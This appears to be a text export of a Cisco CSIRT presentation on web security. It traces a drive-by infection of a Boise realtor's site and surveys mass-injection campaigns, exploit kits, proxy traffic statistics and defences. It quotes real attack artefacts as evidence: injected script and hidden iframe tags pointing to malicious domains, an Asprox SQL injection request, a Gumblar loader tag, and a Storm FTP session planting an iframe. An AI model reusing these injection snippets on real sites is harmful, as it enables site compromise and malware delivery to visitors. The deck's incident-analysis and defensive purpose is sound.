



A Study on the State of Web Security

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Security Investigator

Cisco CSIRT

Agenda

1. Hacked While Browsing
2. Web Exploit Architecture
3. The Study
4. Securing your Clients and Servers

Hacked While Browsing

Surprise Valley, Idaho



4 Bedrooms, 2.5 Baths, \$379,000



Price: \$379,000
City: Boise
Beds: 4
Baths: 2.50



BROOKE SEIDL

LOCAL KNOWLEDGE. EXCEPTIONAL SERVICE.

208-573-3574

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Timeless French Country home in Island Woods. Huge, private yard & mature landscaping. The wonderful floor plan is dramatic yet very livable. The master suite is on the main level with a door to the East facing rear yard & covered patio. The spacious bath features two closets & split vanities. The great room, large kitchen and nook are open and spacious. Additionally, there is a main level office/playroom, loft and three bedrooms upstairs. Motivated Seller!

[View Property Details](#)

About Brooke Seidl

I am a Boise native, a graduate of Boise High School and Boise State University with a degree in Political Science. I have been in real estate since 1998 and I love it! I always represent my clients' best interests and will save you money, time and frustration.

Call me today to discuss your next move!
208-573-3574

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Are You Afraid of Brooke?



- Let's see what's happening behind the scenes



The Web Page: A Security Primer

How does a Web Page Work?

HTML: Web site “recipe.”

Initial HTML retrieval provides “recipe”.

Browser then fetches all objects listed in initial HTML “recipe”.

Web Resources:

The actual ingredients.

Retrieved, per the HTML, from any specified location. Includes

- Images

- Scripts

- Executable objects (“plug-ins”)

- Other web pages




BoingBoing.net: A Popular Blog




- URLs in browser: 1
- HTTP Gets: 162
- Images: 66
from 18 domains including
5 separate 1x1 pixel invisible
tracking images
- Scripts: 87 from 7 domains
- Cookies: 118 from
15 domains
- 8 Flash objects from
4 domains

Recipe + Ingredients...Let's Cook!



Site Ingredients

- The browser will fetch each ingredient
- Each ingredient initiates a HTTP transaction



Web Browser Ecosystem Vulnerable

- “Application Vulnerabilities Exceed OS Vulnerabilities”
- IE and Firefox vulnerable
- “...hundreds of vulnerabilities in ActiveX controls installed by software vendors have been discovered.”

Sources: SANS Top Cyber Security Risks 2007, 2009
<http://www.sans.org/top-cyber-security-risks/>

Media Players & Browser Helper Objects

- Quicktime, Java, Flash, Reader, DirectX
- Explosion of Browser Helper Objects and third-party plug-ins
- Plug-ins are installed (semi) transparently by website. Users unaware an at-risk helper object or plug-in is installed ... introducing more avenues for hackers to exploit users visiting malicious web sites.

Mpack: 22% Browser Infection Rate


Country	Traff	Loads	Efficiency
 JP - Japan	93635	19875	21.23
 DE - Germany	18702	4625	24.73
 ES - Spain	13218	3947	29.86
 US - United states	6954	926	13.32
 RO - Romania	3070	1545	50.33
 GB - United kingdom	1696	261	15.39
 IT - Italy	1680	286	17.02
 FR - France	1432	231	16.13
 CN - China	1089	294	27

30% Mpack Trojan Detection

Antivirus	Version	Last Update	Result
AhnLab-V3	2007.7.21.0	2007.07.23	no virus found
AntiVir	7.4.0.44	2007.07.23	TR/Agent.132312
Authentium	4.93.8	2007.07.20	no virus found
Avast	4.7.997.0	2007.07.22	no virus found
AVG	7.5.0.476	2007.07.22	Obfustat.ANY
BitDefender	7.2	2007.07.23	no virus found
CAT-QuickHeal	9.00	2007.07.23	(Suspicious) - DNAScan
ClamAV	devel-20070416	2007.07.23	no virus found
DrWeb	4.33	2007.07.23	no virus found
eSafe	7.0.15.0	2007.07.22	Suspicious Trojan/Worm
eTrust-Vet	31.1.5002	2007.07.23	no virus found
Ewido	4.0	2007.07.23	no virus found
FileAdvisor	1	2007.07.23	no virus found
Fortinet	2.91.0.0	2007.07.23	no virus found
F-Prot	4.3.2.48	2007.07.20	no virus found
F-Secure	6.70.13030.0	2007.07.23	no virus found
Ikarus	T3.1.1.8	2007.07.23	Trojan-Downloader.Win32
Kaspersky	4.0.2.24	2007.07.23	no virus found
McAfee	5079	2007.07.20	no virus found
Microsoft	1.2704	2007.07.23	no virus found
NOD32v2	2414	2007.07.23	no virus found
Norman	5.80.02	2007.07.23	no virus found
Panda	9.0.0.4	2007.07.23	Suspicious file
Sophos	4.19.0	2007.07.17	Mal/EncPk-T
Sunbelt	2.2.907.0	2007.07.21	VIPRE.Suspicious
Symantec	10	2007.07.23	no virus found
TheHacker	6.1.7.152	2007.07.23	no virus found
VBA32	3.12.2.1	2007.07.23	no virus found
VirusBuster	4.3.26:9	2007.07.22	no virus found
Webwasher-Gateway	6.0.1	2007.07.23	Trojan.Agent.132312

What's Happening on BrookeSeidl.com

- brookeseidl.com registered at eNom 2002
- 63.249.17.64 hosted at Seattle's ZipCon with 52 other domains



Script injected onto web page - one extra ingredient!

What Does Tejary.net/h.js Do?

- Browser fetches h.js javascript from tejary.net
- Tejary.net registered 2003 at GoDaddy and hosted on 68.178.160.68 in Arizona
- Registered by Aljuraid, Mr Nassir A in Saudi Arabia
- Tejary.net/h.js calls two remote iframe objects

```
<script src="http://tejary.net/h.js">  
  1 document.write("<iframe width='100' height='0'  
    src='http://www.said7.com/bb/faq.htm'></ifr  
  2 document.write("<iframe width='100' height='0'  
    src='http://www.v3i9.cn/c.htm'></iframe>");  
  3  
</script>
```

V3i9.cn Domain Information

- V3i9.cn registered at 北京新网互联科技有限公司 by 贾雨荷 On 3/25/09. DNS by mysuperdns.com
- Hosted on 216.245.201.208 at Limestone Networks in Dallas, TX
- Fetched objects include
 - ipp.htm, real.html, real.js
 - 14.htm, 14.Js
 - flash.htm, igg.htm

Exploit Resources Fetched from v3i9.cn

It all starts with /c.htm loaded from tejary.net, said7.com

Real Player Exploit

- /ipp.htm – Real Player exploit CVE-2008-1309
- 2/40 AV anti-virus vendors detect, calls real.html. Includes f#!kyoukaspersky

Name	Description
RealPlayer Console	Heap overflow in RealAudioObjects.RealAudio ActiveX control via long strings in the Console property

- /real.htm, /real.js – Real Player exploit CVE-2007-5601

Name	Description
RealPlayer Import stack overflow	Stack-based buffer overflow in RealNetworks RealPlayer via the Import method

MDAC (Microsoft Data Access Component) Exploit

- /14.htm, /14.js – exploits Exploit-MS06-014 vulnerability in the MDAC functions

Flash Exploit

- /swfobject.js – detects flash version and selects according content
- /flash.htm – Flash exploit. 2/40 anti-virus vendors detect
- /igg.htm - ??? Called from /flash.htm for exploit?

What Is Our Malware?

- After successful exploit, malware installed from v3i9.cn


```
GET /ce.exe HTTP
```

- ce.exe = Gh0st malware

Keylogging, web cam monitoring


Persistent connection to China:

58.253.68.68 vobe.3322.org



The screenshot shows the TCPView application window with the title bar 'TCPView - Sysinternals: www.sysinternals.com'. It displays a table of active network connections. The third row is highlighted, showing a connection from 'svchost.exe:1...' to '58.253.68.68:6010' in an 'ESTABLISHED' state. Other connections include 'alg.exe:860' listening on 'zacorp:1030', 'lsass.exe:520' on 'zacorp:isakmp', and two 'svchost.exe' instances listening on 'zacorp:1026' and 'zacorp:epmap'.

Proc...	Protocol	Local Address	Remote Address	State
alg.exe:860	TCP	zacorp:1030	zacorp:0	LISTENING
lsass.exe:520	UDP	zacorp:isakmp	:::	
svchost.exe:1...	TCP	zacorp:1026	58.253.68.68:6010	ESTABLISHED
svchost.exe:812	TCP	zacorp:epmap	zacorp:0	LISTENING
svchost.exe:8...	UDP	zacorp:ntp	:::	



Data Theft Malware: Multi-Million Dollar Problem



“...Criminals have used the Internet to steal more than \$100 million from U.S. banks so far this year and they did it without ever having to draw a gun or pass a note to a teller...

...I've seen attacks where there's been \$10 million lost in one 24-hour period.”

-Shawn Henry

*FBI Assistant Director, Cyber Division
8 Nov 2010 CBS “60 Minutes”*

Anti-Virus Won't Protect Us

- Ce.exe analyzed on Virus Total

31% detection on days 1, 2

File **ce.exe** received on **04.14.2009 10:12:23**

Current status: **finished**

Result: **12/39 (30.77%)**

Antivirus	Version	Last Update	Result
AhnLab-V3	-	-	-
AntiVir	-	-	TR/Dropper.Gen
Antiy-AVL	-	-	-
Authentium	-	-	-
Avast	-	-	-

48% detection on day 3

File **ce.exe** received on **04.15.2009 19:06:06**

Current status: **finished**


Result: **19/40 (47.50%)**

F-Prot	-	-	-
F-Secure	-	-	Trojan-GamesThief.Win32.Macaula.avv1

- 21% detection for SMS.exe

Microsoft	-	-	-
NOD32	-	-	-
Norman	-	-	-
nProtect	-	-	-
Panda	-	-	-
PCTools	-	-	-
Prevx1	-	-	-
Rising	-	-	-
Sophos	-	-	Mal/EncPk-CK
Sunbelt	-	-	-
Symantec	-	-	-
TheHacker	-	-	-
TrendMicro	-	-	-
VBA32	-	-	BScope.Trojan-PBW.Looby
ViRobot	-	-	-
VirusBuster	-	-	-

Some Websites Injected with tejary.net



Web Exploit Architectures



“By enticing a user to visit a maliciously crafted web page, an attacker may trigger the issue, which may lead to arbitrary code execution.”

Driving Traffic

- Lots of legitimate web surfing.
- *Our enterprise customers each request millions of pages per day.*
- Miscreants tap in to legitimate traffic.
- Advantages:
 - You don't have to create new things.
 - Piggyback on sites' reputation, page rank.
- Risk proportional to reward.

Asprox

- Infected thousands of websites with vulnerable ASP and Cold Fusion pages and MSSQL database.
- Infections persist to this day!



```
POST /somefile.asp ID=123;DECLARE%20@S
%20NVARCHAR(4000);SET%20@S=CAST
(0x4400450043004C004 ... 0073006F007200%20AS
%20NVARCHAR(4000));EXEC(@S);
```

Gumblar

- Victims infected with info stealer by drive-by download.
- Steals FTP credentials from victims.
- Obfuscated javascript code is inserted into any file that contains a **<body>** tag.
- New victims are infected through victim's own website.
- Infected sites were de-listed by Google.

```
<script src=//94.247.2.195/jquery.js></script>
```

Caught in the Act: Storm

[SOCKS 5 header]

USER *victim*

PASS *a 9-digit secure random password*

PASV

TYPE I

RETR //public_html/forum/db/index.htm


```
<iframe src="http://activeware.cn/ind.php" width="1" height="1"  
        alt="YTREWQhej2Htyu"  
        style="visibility:hidden;position:absolute"></iframe>
```

QUIT

Source: Christian Kreibich at ICSI Berkeley

Watch Out For Pop Singers!

- Whole website with aggressive SEO uploaded to compromised host.
- Hotlinks to images on legitimate websites.
- GIS queries send users to SEO site instead of image host.
- Links to drive-by download.



DO
SOMETHING
.ORG

<< Back to Celebs

CGG



Katy Perry

Submitted by Celeb



PROGRAMS

Sign me up!

Enter your email for regu

Subscribe in a reader

facebook | MySpace

What's Hot on C

- Jonas Brothers rock
- Miley Cyrus
- Katy Perry
- Rihanna
- Taylor Swift

CGG Features

- Cause to Celeb-rate
- CGG Must See


Major Ad Networks Attacked

- Malicious banner ads unknowingly served by Google and Microsoft.




Adshufffile.com

- Cause
- Scal
- Instan



Web Exploit Toolkits




Siberia Exploits Kit

YES Exploit System

SEO SPOIT PACK



Statistics Modules



The Study




Study Methodology


- Phone-home data from thousands of IronPort web proxies.
- Anonymized traffic summaries.
- Web reputation: Bad, Neutral and Good.
Default actions: Block, scan, allow.
Plus content policies.
- Randomly sampled 1 billion clicks from pool of 3 trillion.
- Used actual action taken by the appliance.




Where Traffic is Distributed




Most Popular MIME Types



Dangerous MIME Types



Where Is The Blocked Content?



Securing Your Clients and Servers

Securing Your Users

- Users

Targeted training designed to defend against social engineering.

- Host-level

Patch browser and applications.

Audit all applications and files on desktops.

“Lock down” hosts where applicable.

- Network-level security

Reputation and content scanning for all web objects.

Secure HTTPS.

Usability vs. security: block objects not pages.

Active detection of infected users.

Securing Web Servers

- Secure web application development (OWASP).
- Vulnerability assessment before deployment.
- Regular penetration testing.
- Monitor site security and integrity.
- Pay attention to third-party software.
- Consider Web Application Firewall.
- Outbound scanning with AV/Safe Browsing.
- Two-factor authentication.
- IP-based access controls.

Securing the Cloud

- Compliance and auditing.
- Security posture.
- Third-party integration.
- Secondary usage of data.
- Geographical affinity.
- Incident reporting.

Thank you.

